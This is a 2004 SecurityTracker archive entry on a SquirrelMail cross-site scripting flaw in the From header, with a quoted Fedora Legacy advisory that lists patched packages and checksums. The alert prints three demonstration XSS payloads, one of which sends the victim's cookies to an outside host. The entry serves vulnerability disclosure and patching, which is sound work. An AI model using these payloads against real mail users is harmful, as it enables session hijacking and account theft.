SecurityTracker.com
    Home    |    View Topics    |    Search    |    Contact Us    |   

SecurityTracker
Archives


 


Category:   Application (E-mail Server)  >   SquirrelMail Vendors:   SquirrelMail Development Team
(Fedora Issues Fix for RH Linux) SquirrelMail Input Validation Flaw in From Message Header Line Permits Cross-Site Scripting
SecurityTracker Alert ID:  1011505
SecurityTracker URL:  http://securitytracker.com/id/1011505
CVE Reference:   CVE-2004-0520, CVE-2004-0639   (Links to External Site)
Date:  Oct 2 2004
Impact:   Disclosure of authentication information, Disclosure of user information, Execution of arbitrary code via network, Modification of user information
Fix Available:  Yes  Vendor Confirmed:  Yes  
Version(s): prior to 1.4.3; 1.5.1 and prior development versions
Description:   An input validation vulnerability was reported in SquirrelMail. A remote user can conduct cross-site scripting attacks.

Roman Medina reported that a remote user can send a specially crafted e-mail to a target user that, when view by a target user, will cause arbitrary scripting code to be executed by the target user's browser. The code will originate from the site running the SquirrelMail software and will run in the security context of that site. As a result, the code will be able to access the target user's cookies (including authentication cookies), if any, associated with the site, access data recently submitted by the target user via web form to the site, or take actions on the site acting as the target user.

According to the report, certain attachment parameters are not properly filtered.

Some demonstration exploit "From" header line examples are provided:

From:<!--<>(-->John Doe<script>window.alert(document.cookie);</script><>

From:(<!--(--><script>document.location='http://www.rs-labs.com/?'+document.cookie;</script><>

From:<!--<>(-->John Doe<script>document.cookie='PHPSESSID=xxx; path=/';</script><>

The vendor was reportedly notified on May 22, 2004.

The original advisory is available at:

http://www.rs-labs.com/adv/RS-Labs-Advisory-2004-1.txt

Impact:   A remote user can access the target user's cookies (including authentication cookies), if any, associated with the site running the SquirrelMail software, access data recently submitted by the target user via web form to the site, or take actions on the site acting as the target user.
Solution:   Fedora has released a fix.

Red Hat Linux 9:

SRPM:
http://download.fedoralegacy.org/redhat/9/updates/SRPMS/squirrelmail-1.4.3-0.f0.9.1.legacy.src.rpm

i386:
http://download.fedoralegacy.org/redhat/9/updates/i386/i386/squirrelmail-1.4.3-0.f0.9.1.legacy.noarch.rpm

The verification checksums are:

c11465630aac1834c37b9af25dc77bccfd1785be 9/updates/SRPMS/squirrelmail-1.4.3-0.f0.9.1.legacy.src.rpm
de580a0c9f0b5d8129b0dc5b11671ce9c8e8446f 9/updates/i386/squirrelmail-1.4.3-0.f0.9.1.legacy.noarch.rpm

Vendor URL:  www.squirrelmail.org/ (Links to External Site)
Cause:   Input validation error
Underlying OS:  Linux (Red Hat Linux)
Underlying OS Comments:  9

Message History:   This archive entry is a follow-up to the message listed below.
May 30 2004 SquirrelMail Input Validation Flaw in From Message Header Line Permits Cross-Site Scripting



 Source Message Contents

Subject:  [Full-Disclosure] [FLSA-2004:1733] Updated squirrelmail resolves security vulnerabilities



--gBBFr7Ir9EOA20Yy
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

-----------------------------------------------------------------------
               Fedora Legacy Update Advisory

Synopsis:          Updated squirrelmail resolves security vulnerabilities
Advisory ID:       FLSA:1733
Issue date:        2004-10-02
Product:           Red Hat Linux
Keywords:          Security
Cross references:  https://bugzilla.fedora.us/show_bug.cgi?id=1733
CVE Names:         CAN-2004-0519, CAN-2004-0520, CAN-2004-0521
-----------------------------------------------------------------------


-----------------------------------------------------------------------
1. Topic:

Updated squirrelmail packages that fix a security vulnerability are now
available.

SquirrelMail is a standards-based webmail package written in PHP4.

2. Relevant releases/architectures:

Red Hat Linux 9 - i386

3. Problem description:

An SQL injection flaw was found in SquirrelMail version 1.4.2 and earlier.
If SquirrelMail is configured to store user addressbooks in the database, a
remote attacker could use this flaw to execute arbitrary SQL statements.
The Common Vulnerabilities and Exposures project has assigned the name
CAN-2004-0521 to this issue.

A number of cross-site scripting (XSS) flaws in SquirrelMail version 1.4.2
and earlier could allow remote attackers to execute script as other web
users. The Common Vulnerabilities and Exposures project (cve.mitre.org)
has assigned the names CAN-2004-0519 and CAN-2004-0520 to these issues.

Users of squirrelmail should upgrade to this updated package which
contains a new version of the software and is not vulnerable to this issue.

4. Solution:

Before applying this update, make sure all previously released errata
relevant to your system have been applied.

To update all RPMs for your particular architecture, run:

rpm -Fvh [filenames]

where [filenames] is a list of the RPMs you wish to upgrade.  Only those
RPMs which are currently installed will be updated.  Those RPMs which are
not installed but included in the list will not be updated.  Note that you
can also use wildcards (*.rpm) if your current directory *only* contains
the desired RPMs.

Please note that this update is also available via yum and apt.  Many
people find this an easier way to apply updates.  To use yum issue:

yum update

or to use apt:

apt-get update; apt-get upgrade

This will start an interactive process that will result in the appropriate
RPMs being upgraded on your system.  This assumes that you have yum or
apt-get configured for obtaining Fedora Legacy content. Please visit
http://www.fedoralegacy.org/docs/ for directions on how to configure yum
and apt-get.

5. Bug IDs fixed:

http://bugzilla.fedora.us - 1733 - SquirrelMail Folder Name Cross-Site
Scripting Vulnerability

6. RPMs required:

Red Hat Linux 9:

SRPM:
http://download.fedoralegacy.org/redhat/9/updates/SRPMS/squirrelmail-1.4.3-0.f0.9.1.legacy.src.rpm

i386:
http://download.fedoralegacy.org/redhat/9/updates/i386/i386/squirrelmail-1.4.3-0.f0.9.1.legacy.noarch.rpm

7. Verification:

SHA1 sum                                 Package Name
---------------------------------------------------------------------------

c11465630aac1834c37b9af25dc77bccfd1785be  9/updates/SRPMS/squirrelmail-1.4.3-0.f0.9.1.legacy.src.rpm
de580a0c9f0b5d8129b0dc5b11671ce9c8e8446f  9/updates/i386/squirrelmail-1.4.3-0.f0.9.1.legacy.noarch.rpm

These packages are GPG signed by Fedora Legacy for security.  Our key is
available from http://www.fedoralegacy org/about/security.php

You can verify each package with the following command:

    rpm --checksig -v <filename>

If you only wish to verify that each package has not been corrupted or
tampered with, examine only the sha1sum with the following command:

    sha1sum <filename>

8. References:

http://www.gentoo.org/security/en/glsa/glsa-200405-16.xml

9. Contact:

The Fedora Legacy security contact is <secnotice@fedoralegacy.org>. More
project details at http://www.fedoralegacy.org

10. Special Notes:

Since this release is a version upgrade, care should be taken in
applying the update in a production environment.

---------------------------------------------------------------------


--gBBFr7Ir9EOA20Yy
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: Digital signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (GNU/Linux)

iD8DBQFBXrZ7YzuFKFF44qURAjsdAJ90iS1U+aVEL+nEcHWmUT4rob/UwACfX8/y
hrfXfN69lDFnS87xsI4cIKQ=
=QQQR
-----END PGP SIGNATURE-----

--gBBFr7Ir9EOA20Yy--

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
 


Go to the Top of This SecurityTracker Archive Page





Home   |    View Topics   |    Search   |    Contact Us

This web site uses cookies for web analytics. Learn More

Copyright 2019, SecurityGlobal.net LLC